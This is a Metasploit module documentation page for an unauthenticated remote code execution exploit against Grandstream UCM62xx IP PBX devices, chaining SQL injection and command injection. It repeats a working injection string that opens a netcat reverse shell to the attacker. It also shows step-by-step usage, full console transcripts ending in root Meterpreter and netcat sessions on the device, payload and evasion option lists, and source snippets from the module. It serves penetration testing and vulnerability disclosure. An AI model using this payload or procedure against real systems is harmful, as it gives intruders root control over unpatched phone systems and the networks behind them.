Grandstream UCM62xx IP PBX sendPasswordEmail RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/grandstream_ucm62xx_sendemail_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Module: exploit/linux/http/grandstream_ucm62xx_sendemail_rce
Source code: modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb
Disclosure date: 2020-03-23
Last modification time: 2022-01-24 21:01:34 +0000
Supported architecture(s): cmd, armle
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8089, 8443, 8880, 8888
List of CVEs: CVE-2019-10662, CVE-2020-5722
This module exploits an unauthenticated SQL injection
vulnerability (CVE-2020-5722) and a command injection
vulnerability (technically, no assigned CVE but was
inadvertently patched at the same time as CVE-2019-10662)
affecting the Grandstream UCM62xx IP PBX series of devices.
The vulnerabilities allow an unauthenticated remote attacker
to execute commands as root. Exploitation happens in two
stages: 1. An SQL injection during username lookup while
executing the "Forgot Password" function. 2. A command
injection that occurs after the user provided username is
passed to a Python script via the shell. Like so: /bin/sh -c
python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
password '' cat <<'TTsf7G0' z' or 1=1--;nc 10.0.0.3 4444
-e /bin/sh;TTsf7G0 This module affect UCM62xx versions
before firmware version 1.0.19.20.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
msf exploit(grandstream_ucm62xx_sendemail_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
a command injection vulnerability (technically, no assigned CVE but was inadvertently
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
execute commands as root.
Exploitation happens in two stages:
- An SQL injection during username lookup while executing the "Forgot Password" function.
- A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
Installation
The UCM62xx PBX is a physical device and is not known to have been successfully emulated. However, if you have a device, affected firmware can be downloaded here:
- https://firmware.grandstream.com/Release_UCM62xx_1.0.18.13.zip
Verification Steps
- Acquire an affected device and configure it with the affected firmware
- Do:
use exploit/linux/http/grandstream_ucm62xx_sendemail_rce - Do:
set RHOST <ip> - Do:
check - Verify the remote target is flagged as vulnerable
- Do:
set LHOST <ip> - Do:
set LPORT <port> - Do:
exploit - You should get a Meterpreter session.
Targets
0
This targets the PBX with the reverse_netcat_gaping payload and returns a reverse shell.
1
This target obtains a meterpreter session using wget.
Options
TARGETURI
Specifies base URI. The default value is /.
Scenarios
Grandstream UCM6202 IP PBX fimrware version 1.0.18.13. Get Meterpreter session.
msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9
RHOST => 10.0.0.9
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > check
[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[*] 10.0.0.9:8089 - The target appears to be vulnerable. This determination is based on the version string.
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[+] The target appears to be vulnerable. This determination is based on the version string.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/unV0mXd6RPWD
[*] Local IP: http://10.0.0.3:8080/unV0mXd6RPWD
[*] Client 10.0.0.9 (Wget/1.10.1) requested /unV0mXd6RPWD
[*] Sending payload to 10.0.0.9 (Wget/1.10.1)
[*] Sending stage (903400 bytes) to 10.0.0.9
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.9:51031 ) at 2022-01-15 12:12:28 -0800
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.
meterpreter > shell
Process 4990 created.
Channel 1 created.
whoami
root
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Thu Jul 5 15:56:51 CST 2018 armv7l GNU/Linux
cat /proc/cpuinfo
Processor : ARMv7 Processor rev 10 (v7l)
processor : 0
BogoMIPS : 1988.29
processor : 1
BogoMIPS : 1987.37
Features : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x2
CPU part : 0xc09
CPU revision : 10
Hardware : Freescale i.MX 6Quad/DualLite/Solo based Board
Revision : 63015
Serial : 1126b9d4eacb275c
Grandstream UCM6202 IP PBX firmware version 1.0.18.13. Get reverse shell using netcat.
msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set target 0
target => 0
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9
RHOST => 10.0.0.9
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[+] The target appears to be vulnerable. This determination is based on the version string.
[*] Executing Unix Command for cmd/unix/reverse_netcat_gaping
[+] Exploit successfully executed.
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.9:51251 ) at 2022-01-15 12:19:18 -0800
whoami
root
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Thu Jul 5 15:56:51 CST 2018 armv7l GNU/Linux
ps faux
PID USER TIME COMMAND
1 root 0:00 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:05 [ksoftirqd/0]
5 root 0:00 [kworker/u:0]
6 root 0:00 [migration/0]
7 root 0:00 [khelper]
8 root 0:00 [kworker/u:1]
156 root 0:00 [sync_supers]
158 root 0:00 [bdi-default]
160 root 0:00 [kblockd]
186 root 0:00 [imx6q-ecspi.0]
188 root 0:00 [imx6q-ecspi.2]
197 root 0:00 [khubd]
293 root 0:00 [rpciod]
301 root 0:00 [usb_wakeup thre]
304 root 0:00 [usb_wakeup thre]
315 root 0:00 [kswapd0]
316 root 0:00 [ksmd]
317 root 0:00 [fsnotify_mark]
318 root 0:00 [nfsiod]
323 root 0:00 [crypto]
438 root 0:00 [kworker/0:3]
440 root 0:01 [mmcqd/0]
441 root 0:00 [mmcqd/0boot0]
442 root 0:00 [mmcqd/0boot1]
564 root 0:00 udevd --daemon
1477 root 0:00 [kworker/1:2]
3677 root 0:00 [kworker/0:1]
3716 root 0:00 [kworker/1:0]
5347 root 0:00 [kworker/0:0]
5507 root 0:00 [migration/1]
5544 root 0:02 [ksoftirqd/1]
5959 root 0:00 /bin/sh
6008 root 0:00 [kworker/1:1]
6028 root 0:00 dbus-daemon --session --print-address --fork
6035 root 0:21 /usr/bin/gs_gui
6060 root 0:00 /usr/sbin/crond -c /etc/crontabs
6067 root 0:00 [jbd2/mmcblk0p14]
6068 root 0:00 [ext4-dio-unwrit]
6071 root 0:00 [jbd2/mmcblk0p15]
6072 root 0:00 [ext4-dio-unwrit]
6294 root 0:01 lowmem_killer
6297 root 0:00 /usr/bin/pvalue_validation_server /tmp/.pvalue_validation /etc/pvalues.xml
6298 root 0:00 msg_server
6319 root 0:00 /sbin/dropbear -jk -p 22
6363 root 0:00 ifplugd -I -q -d 3 -i eth1
6460 root 0:00 syslogd -O /log/syslog -T /var/log/syslog.tmp -i 60 -s 1900 -b 24 -l 8
6462 root 0:00 klogd
6468 root 0:00 [flush-179:0]
6661 root 0:00 sleep 60
6774 root 0:00 {safe_postfix.sh} /bin/sh /cfg/var/lib/asterisk/scripts/safe_postfix.sh
6783 root 0:03 python /cfg/var/lib/asterisk/scripts/mail_log_monitor.py
6828 root 0:00 sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
6843 root 0:00 /bin/sh
6947 root 0:00 sleep 2
6948 root 0:00 ps faux
7253 root 0:00 udhcpc -m -b -i eth1 -V UCM -O vendor -O vivs -O timezone -O ntpsrv -p /var/run/udhcpc.pid.eth1
7439 root 0:00 /usr/libexec/postfix/master -w
7441 postfix 0:00 qmgr -l -t unix -u
7929 root 0:00 [el_handler]
7963 root 0:00 [TAPIevents]
8046 root 0:00 [tSVIP0_Rcv]
8047 root 0:00 [tSVIP0_Ack]
8052 root 0:00 [tSVIP0_Hnd]
8156 root 0:00 udevd --daemon
8170 root 0:00 udevd --daemon
8278 postfix 0:00 pickup -l -t unix -u
8435 root 11:17 [fxo.checkhookd]
8546 root 7:04 [fxs.checkhookd]
8583 root 0:00 {safe_asterisk} /bin/sh /app/asterisk/sbin/safe_asterisk
8648 root 0:00 /app/asterisk/libexec/slapd
8663 root 3:44 /app/asterisk/sbin/asterisk -f -vvvg -c
8744 root 0:00 /app/asterisk/sbin/dhcpd -cf /app/asterisk/etc/dhcpd.conf -lf /app/asterisk/etc/dhcp/dhcpd.lease -pf /tmp/dhcpd.pid eth0
8909 root 0:03 /app/asterisk/bin/cgi
8947 root 0:05 /app/asterisk/sbin/zero_config
8954 root 0:00 {safe_ucm_warnin} /bin/sh /app/asterisk/bin/safe_ucm_warning
8960 root 0:07 /app/asterisk/bin/ucm_warning
8965 root 0:09 python /app/asterisk/bin/service_check.py
8966 root 0:05 python /app/asterisk/bin/cgi_service_check.py
8967 root 0:12 python /app/asterisk/bin/mcm_service_check.py
8968 root 0:12 python /app/asterisk/bin/avs_service_check.py
9122 root 0:00 python /app/asterisk/bin/portmap.py
9174 root 0:13 {safe_mid.sh} /bin/sh /cfg/var/lib/asterisk/scripts/safe_mid.sh
9175 root 0:11 python /app/asterisk/var/lib/asterisk/scripts/core_manager.py
9189 root 0:35 /app/asterisk/bin/pbxmid
12699 root 0:45 /app/asterisk/sbin/lighttpd -f /app/asterisk/etc/lighttpd/lighttpd.conf
Go back to menu.
Msfconsole Usage
Here is how the linux/http/grandstream_ucm62xx_sendemail_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show info
Name: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Module: exploit/linux/http/grandstream_ucm62xx_sendemail_rce
Platform: Unix, Linux
Arch: cmd, armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-03-23
Provided by:
jbaines-r7
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8089 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an unauthenticated SQL injection vulnerability
(CVE-2020-5722) and a command injection vulnerability (technically,
no assigned CVE but was inadvertently patched at the same time as
CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of
devices. The vulnerabilities allow an unauthenticated remote
attacker to execute commands as root. Exploitation happens in two
stages: 1. An SQL injection during username lookup while executing
the "Forgot Password" function. 2. A command injection that occurs
after the user provided username is passed to a Python script via
the shell. Like so: /bin/sh -c python
/app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password ''
`cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;`
TTsf7G0 ` This module affect UCM62xx versions before firmware
version 1.0.19.20.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-5722
https://www.exploit-db.com/exploits/48247
Module Options
This is a complete list of options available in the linux/http/grandstream_ucm62xx_sendemail_rce exploit:
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show options
Module options (exploit/linux/http/grandstream_ucm62xx_sendemail_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8089 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.170 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/grandstream_ucm62xx_sendemail_rce exploit:
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show advanced
Module advanced options (exploit/linux/http/grandstream_ucm62xx_sendemail_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS,
SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/5 no The User-Agent header to use for all requests
37.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/53
7.36
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork false no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/grandstream_ucm62xx_sendemail_rce module can exploit:
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/grandstream_ucm62xx_sendemail_rce exploit:
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/linux/armle/adduser normal No Linux Add User
5 payload/linux/armle/exec normal No Linux Execute Command
6 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
7 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
8 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
12 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
13 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
14 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/grandstream_ucm62xx_sendemail_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- HTTP status code is not 200
- No JSON in response
- This determination is based on the version string: <PROG_VERSION>.
- This determination is based on the version string: <PROG_VERSION>.
- The target did not respond with a 200 OK
- The target did not respond with a JSON body
- The JSON response is missing the status element
- The server responded with an error status <STATUS_JSON>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
HTTP status code is not 200
Here is a relevant code snippet related to the "HTTP status code is not 200" error message:
109: 'method' => 'POST',
110: 'uri' => normalized_uri,
111: 'vars_post' => { 'action' => 'getInfo' }
112: })
113:
114: return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
115:
116: body_json = res.get_json_document
117: return CheckCode::Unknown('No JSON in response') unless body_json
118:
119: prog_version = body_json.dig('response', 'prog_version')
No JSON in response
Here is a relevant code snippet related to the "No JSON in response" error message:
112: })
113:
114: return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
115:
116: body_json = res.get_json_document
117: return CheckCode::Unknown('No JSON in response') unless body_json
118:
119: prog_version = body_json.dig('response', 'prog_version')
120: return false if prog_version.nil?
121:
122: vprint_status("The reported version is: #{prog_version}")
This determination is based on the version string: <PROG_VERSION>.
Here is a relevant code snippet related to the "This determination is based on the version string: <PROG_VERSION>." error message:
121:
122: vprint_status("The reported version is: #{prog_version}")
123:
124: version = Rex::Version.new(prog_version)
125: if version < Rex::Version.new('1.0.19.20')
126: return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
127: end
128:
129: return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
130: end
131:
This determination is based on the version string: <PROG_VERSION>.
Here is a relevant code snippet related to the "This determination is based on the version string: <PROG_VERSION>." error message:
124: version = Rex::Version.new(prog_version)
125: if version < Rex::Version.new('1.0.19.20')
126: return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
127: end
128:
129: return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
130: end
131:
132: ##
133: # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
134: # and then it will get passed to a python script via sh which allows us to execute a command injection.
The target did not respond with a 200 OK
Here is a relevant code snippet related to the "The target did not respond with a 200 OK" error message:
156: # the netcat reverse shell payload holds the connection open. So we'll treat no response
157: # as a success. The meterpreter payload does not hold the connection open so this clause digs
158: # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
159: # generates an error (e.g. rate limit error)
160: if res
161: fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
162:
163: body_json = res.get_json_document
164: fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:
166: status_json = body_json['status']
The target did not respond with a JSON body
Here is a relevant code snippet related to the "The target did not respond with a JSON body" error message:
159: # generates an error (e.g. rate limit error)
160: if res
161: fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
162:
163: body_json = res.get_json_document
164: fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:
166: status_json = body_json['status']
167: fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168: fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169: end
The JSON response is missing the status element
Here is a relevant code snippet related to the "The JSON response is missing the status element" error message:
162:
163: body_json = res.get_json_document
164: fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:
166: status_json = body_json['status']
167: fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168: fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169: end
170:
171: print_good('Exploit successfully executed.')
172: end
The server responded with an error status <STATUS_JSON>
Here is a relevant code snippet related to the "The server responded with an error status <STATUS_JSON>" error message:
163: body_json = res.get_json_document
164: fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:
166: status_json = body_json['status']
167: fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168: fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169: end
170:
171: print_good('Exploit successfully executed.')
172: end
173:
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Related Pull Requests
- #16109 Merged Pull Request: windows/gather/enum_domains: Return early if no domains are found
- #16113 Merged Pull Request: Nops: Add cmd/generic
- #16114 Merged Pull Request: prepend_nops: Return unmodified shellcode if no compatible nops for arch
- #16112 Merged Pull Request: Update metasploit-payloads gem to 2.0.71
- #16110 Merged Pull Request: Bump i18n dependency
- #16106 Merged Pull Request: Bump mettle 1.0.18
- #16104 Merged Pull Request: Bump rex-core to 0.1.25
- #16090 Merged Pull Request: adds user_data_directory
- #16099 Merged Pull Request: Rubocop smb relay module
- #16096 Merged Pull Request: Support session -1 for ListenerComm options
- #15904 Merged Pull Request: Metasploit-side logic to support a 5th getsystem mechanism
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- auxiliary/gather/grandstream_ucm62xx_sql_account_guess
Authors
- jbaines-r7
Version
This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.
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